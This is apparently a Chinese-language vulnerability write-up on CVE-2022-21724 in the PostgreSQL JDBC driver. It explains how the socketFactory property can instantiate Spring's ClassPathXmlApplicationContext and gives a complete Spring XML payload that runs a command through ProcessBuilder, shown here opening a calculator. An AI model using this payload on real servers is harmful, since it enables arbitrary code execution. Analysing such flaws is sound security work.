IMG_20241221_043255_426.jpg

IMG_20241221_043255_992.jpg

IMG_20241221_043256_071.jpg

(CVE-2022-21724)
和其它数据库的JDBC Driver一样,PostgreSQL JDBC Driver也支持很多property,先看CVE-2022-21724里用到的第一组property
搭建环境了解下调用过程,用的是PostgreSQL Driver Version: 42.3.1版本,为方便阅读,加了一行显示版本:
System.out.println("PostgreSQL Driver Version: " + org.postgresql.Driver.class.getPackage().getImplementationVersion());
到这可知,socketFactory实例化一个类,它的构造方法只有一个参数且是String类型。因此只要找到一个符合这样条件的类即可,直接想到的就是这个老演员
org.springframework.context.support.ClassPathXmlApplicationContext
org.springframework.context.support.FileSystemXmlApplicationContext
通过以上任意一个类,加载以下XML文件即可
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>open</value>
                <value>-a</value>
                <value>calculator</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>